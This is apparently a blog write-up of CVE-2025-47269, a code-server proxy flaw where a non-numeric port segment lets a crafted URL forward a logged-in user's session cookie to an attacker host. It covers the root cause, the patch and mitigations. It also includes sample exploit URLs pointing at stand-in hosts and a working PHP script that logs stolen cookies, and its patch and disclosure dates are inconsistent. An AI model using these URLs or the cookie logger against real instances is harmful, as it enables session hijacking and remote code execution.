CVE-2025-47269: The Misconfigured Mailbox – How a Crafty URL Could Snatch Your Code-Server Session!

Robert Morgan

Robert Morgan

— 8 min read

Hey everyone, grab your coffee (or tea, we don't discriminate!), and let's talk about a sneaky little vulnerability that could turn your cozy code-server instance into an open house for attackers. We're diving deep into CVE-2025-47269, a flaw that reminds us why even the most convenient features need a security-first mindset.

TL;DR / Executive Summary

CVE-2025-47269 is a vulnerability in code-server (versions prior to 4.99.4) where a failure to properly validate the port in its built-in proxy feature could lead to session cookie exfiltration. An attacker could craft a malicious URL using the /proxy/ subpath, tricking code-server into forwarding the user's request (along with their precious session cookie) to an attacker-controlled domain. This gives the attacker full access to the code-server instance and the underlying machine, as the user running code-server. The vulnerability has a significant impact, but thankfully, it's patched in code-server v4.99.4 and newer. The primary mitigation is to update your code-server instances immediately.

Introduction: The Double-Edged Sword of Convenience

code-server is fantastic, right? It lets you run VS Code on any machine, anywhere, accessible through your browser. One of its handy features is the built-in proxy, which allows you to easily access web services running on different ports on your remote machine through code-server itself. For example, if you're developing a web app on port 3000, you can access it via https://<your-code-server>/proxy/3000/. Super convenient!

But what happens when that convenience isn't buttoned up tightly? Imagine this proxy as a friendly concierge at a hotel. You ask them to forward your mail (web requests) to your room (a local port). But if the concierge doesn't check room numbers properly, a mischievous individual could tell them to forward your mail to their address instead. That's essentially what CVE-2025-47269 allowed. For developers and anyone running code-server, this isn't just a minor bug; it's a potential gateway to full system compromise if your session cookie falls into the wrong hands.

Technical Deep Dive: Unpacking CVE-2025-47269

Let's get our hands dirty and look at what went wrong.

Vulnerability Details:
The code-server proxy feature is designed to take a port number from the URL path (/proxy/<port>/...) and forward the request to http://0.0.0.0:<port>/.... This is great for accessing local development servers.

Root Cause Analysis:
The crux of CVE-2025-47269 lies in improper input validation of the <port> parameter in the proxy URL. The code responsible for constructing the target proxy URL didn't strictly ensure that the provided "port" was, in fact, a numerical port. Instead, it would take a string like test@evil.com and directly embed it into the target URL construction.

Think of it like this:
You have a function build_target_url(user_supplied_port_string).

  • Expected input: user_supplied_port_string = "3000"
  • Expected output: http://0.0.0.0:3000/...
  • Malicious input: user_supplied_port_string = "attacker.com" (or more craftily, test@attacker.com to make it look like part of a userinfo component of a URL that the proxy logic might misinterpret or pass along).
  • Vulnerable output: The proxy attempts to connect to http://0.0.0.0:attacker.com/... or, due to how URL parsing might work in some libraries or intermediate steps, it could resolve to simply proxying to attacker.com. The advisory specifically states https://<code-server>/proxy/test@evil.com/path would be proxied to test@evil.com/path.

This happens because the application trusted the user-supplied path segment to be a simple port number without validating its format or content rigorously.

Attack Vector:
The attack vector is straightforward but requires user interaction:

  1. An attacker crafts a malicious URL, for example: https://<your-code-server-instance>/proxy/test@evil.com/steal_my_cookie.php
  2. The attacker tricks a legitimate code-server user (who is logged in) into clicking this link (e.g., via a phishing email, a misleading link in a forum, or a compromised webpage).
  3. The user's browser sends the request to their code-server instance.
  4. The vulnerable code-server instance sees /proxy/test@evil.com/.... Instead of recognizing test@evil.com as an invalid port, it attempts to proxy the request to test@evil.com.
  5. Crucially, when proxying, code-server (like many proxies) forwards the user's cookies, including the session cookie for code-server itself, to this attacker-controlled domain.
  6. The attacker's server at evil.com receives the request, along with the user's code-server session cookie.

Business Impact:
The impact is severe:

  • Session Hijacking: The attacker gains the user's session cookie.
  • Full Account Compromise: With the session cookie, the attacker can impersonate the user and gain full access to their code-server environment.
  • Remote Code Execution (RCE): code-server allows terminal access and file modification. An attacker with access can execute arbitrary commands on the server as the user running code-server.
  • Data Theft: Access to all files, source code, and sensitive information accessible by that user.
  • Lateral Movement: The compromised machine can be used as a pivot point to attack other systems within the network.

This isn't just about losing your unsaved README.md; it's about potentially handing over the keys to your kingdom!

Proof of Concept (PoC)

Let's illustrate how this could be exploited. (This is a conceptual PoC based on the advisory).

Setup:

  • A vulnerable code-server instance (version < 4.99.4) running at https://my-vulnerable-coder.com.
  • An attacker-controlled server at evil-proxy-target.com with a script to log incoming headers (especially cookies).

Attacker's Malicious Link:
The attacker crafts the following URL:
https://my-vulnerable-coder.com/proxy/evil-proxy-target.com/logger.php

(Note: The advisory uses test@evil.com. The exact format that bypasses validation might depend on the specifics of the URL parsing library used by code-server at the time. The core idea is that the "port" part is not a number but a domain.)

Victim's Action:
The victim, logged into my-vulnerable-coder.com, clicks this link.

What Happens Behind the Scenes:

  1. The victim's browser sends a GET request to https://my-vulnerable-coder.com/proxy/evil-proxy-target.com/logger.php. This request includes the Cookie header for my-vulnerable-coder.com.
  2. The vulnerable code-server instance receives this. Its proxy logic incorrectly interprets evil-proxy-target.com as the target for proxying.
  3. code-server makes a new HTTP request to http://evil-proxy-target.com/logger.php (or similar, depending on how it resolves).
  4. Crucially, code-server includes the original Cookie header (or its relevant parts like the session token) in this new request to evil-proxy-target.com.

Attacker's Server (evil-proxy-target.com/logger.php):
A simple PHP script on the attacker's server could look like this:

<?php
// logger.php
$headers = getallheaders();
$cookies = $_COOKIE; // Or parse from $headers['Cookie']

$log_data = "Timestamp: " . date("Y-m-d H:i:s") . "\n";
$log_data .= "IP Address: " . $_SERVER['REMOTE_ADDR'] . "\n";
$log_data .= "Request URI: " . $_SERVER['REQUEST_URI'] . "\n";
$log_data .= "User Agent: " . (isset($headers['User-Agent']) ? $headers['User-Agent'] : 'N/A') . "\n";
$log_data .= "Cookies:\n" . print_r($cookies, true) . "\n";
$log_data .= "All Headers:\n" . print_r($headers, true) . "\n";
$log_data .= "----------------------------------------\n\n";

file_put_contents("stolen_cookies.log", $log_data, FILE_APPEND);

// Optionally, redirect the user to a legitimate page to avoid suspicion
// header("Location: https://github.com/coder/code-server");
// exit;

echo "Proxied content (attacker can control this response).";
?>

(Theoretical example of a logging script)

The stolen_cookies.log file on the attacker's server would then contain the victim's code-server session cookie, allowing the attacker to hijack their session.

Mitigation and Remediation: Patch Up and Stay Safe!

The good news is that this vulnerability has been addressed.

Immediate Fixes:

  • Upgrade code-server: The most critical step is to update your code-server instance to version 4.99.4 or later. This version contains the fix for CVE-2025-47269. You can find the latest releases on the official code-server releases page.

Long-Term Solutions:

  • Disable Proxy if Unused: If you don't use the built-in proxy feature of code-server, consider disabling it if your setup allows. This reduces the attack surface. (Check code-server documentation for how to do this, often via command-line flags like --disable-proxy or configuration).
  • Network Segmentation: Restrict access to your code-server instance as much as possible. Use firewalls and VPNs to ensure only authorized users can reach it.
  • Web Application Firewall (WAF): A WAF might be able to detect and block requests with malformed proxy paths, though specific rules would be needed.
  • Principle of Least Privilege: Run code-server with the minimum necessary permissions. This won't prevent session hijacking but can limit the damage an attacker can do post-compromise.

Verification Steps:

  1. Check your code-server version: code-server --version.
  2. After patching, you can (carefully!) test if the vulnerability is fixed by trying to access a proxy URL with a non-numeric port. For example, try navigating to https://<your-code-server>/proxy/invalidtest/. The patched version should reject this or handle it as an error, not attempt to proxy to "invalidtest".

Patch Analysis: The Fix in Action

The fix for CVE-2025-47269 is quite elegant and directly addresses the root cause: lack of port validation. Let's look at the relevant code change from the patch (commit 47d6d3ada5aadef6d221f3d612401eb3dad9299e in src/node/routes/pathProxy.ts):

Before the patch (simplified concept):

// Simplified representation of the vulnerable logic
const getProxyTarget = (req: any, opts?: any): string => {
  const base = (req as any).base || "";
  // req.params.port is used directly without strict validation as a number
  return `http://0.0.0.0:${req.params.port}${opts?.proxyBasePath || ""}/${req.originalUrl.slice(base.length)}`;
}

After the patch:

// File: src/node/routes/pathProxy.ts
// ...
const getProxyTarget = (
  req: express.Request<ProxyParams>,
  opts?: ProxyOptions,
): string => {
  // If there is a base path, strip it out.
  const base = (req as any).base || ""
  let port: number // Declare port as a number
  try {
    // Explicitly parse req.params.port as a base-10 integer
    port = parseInt(req.params.port, 10)
    // Check if parseInt resulted in NaN (e.g. for "test@evil.com")
    if (isNaN(port)) {
        throw new Error("Parsed port is NaN"); // Or handle as specific HttpError
    }
  } catch (err) {
    // If parsing fails or results in NaN, throw an error
    throw new HttpError("Invalid port", HttpCode.BadRequest)
  }
  // Now, 'port' is guaranteed to be a number if no error was thrown
  return `http://0.0.0.0:${port}${opts?.proxyBasePath || ""}/${req.originalUrl.slice(base.length)}`
}
// ...

Why the fix works:
The patch introduces explicit parsing and validation for the req.params.port value.

  1. parseInt(req.params.port, 10) attempts to convert the port string from the URL into an integer.
  2. If req.params.port is something like "test@evil.com", parseInt will return NaN (Not a Number).
  3. The try...catch block (or an explicit isNaN check as shown in my elaborated example above, which is good practice with parseInt) handles cases where the input is not a valid number. In the actual patch, if parseInt fails to produce a valid number from the input string (e.g., if it's purely alphabetical or contains @), it will effectively lead to an error or be caught. The patch specifically throws an HttpError("Invalid port", HttpCode.BadRequest).
  4. This ensures that only legitimate numerical port values are used to construct the proxy target URL. Any attempt to inject a domain name or other non-numeric string will be rejected with a "Bad Request" error.

Simple, effective, and a textbook example of proper input sanitization!

Timeline of CVE-2025-47269

  • Discovery Date: Undisclosed (typically by security researchers or internal review).
  • Vendor Notification (coder): Undisclosed.
  • Patch Development & Release (v4.99.4): The fix was included in code-server version 4.99.4, which was released around May 7, 2024. (Commit 47d6d3ada5aadef6d221f3d612401eb3dad9299e).
  • Public Disclosure (CVE Assignment): The vulnerability was publicly disclosed and assigned CVE-2025-47269 on May 9, 2025.

It's common for patches to be available before a CVE is formally published, especially if the vendor acts quickly.

Lessons Learned: Trust, But Verify (Especially User Input!)

This CVE serves as a potent reminder of several key cybersecurity principles:

  1. Never Trust User Input: This is the golden rule. Any data that originates from outside your trusted code boundary (user inputs, API parameters, URL segments) must be validated and sanitized before use, especially if it's used to construct commands, file paths, URLs, or database queries.
  2. The Perils of "Convenience" Features: Features designed for ease of use, like dynamic proxies, can become significant security risks if not implemented with a security-first approach. The more powerful the feature, the more scrutiny its inputs require.
  3. Defense in Depth: While patching is crucial, multiple layers of security (network controls, WAFs, least privilege) can help mitigate the risk or impact if a vulnerability is exploited.

Key Takeaway:
Input validation isn't just a checkbox item; it's a fundamental pillar of secure software development. A single unvalidated input, as seen in CVE-2025-47269, can unravel the security of an entire application and the system it runs on.

So, what's one feature in your own projects or tools you use daily that relies heavily on user input for its core functionality? Is it as robustly validated as it should be? Food for thought!

Stay safe, keep your systems patched, and code securely!

References and Further Reading

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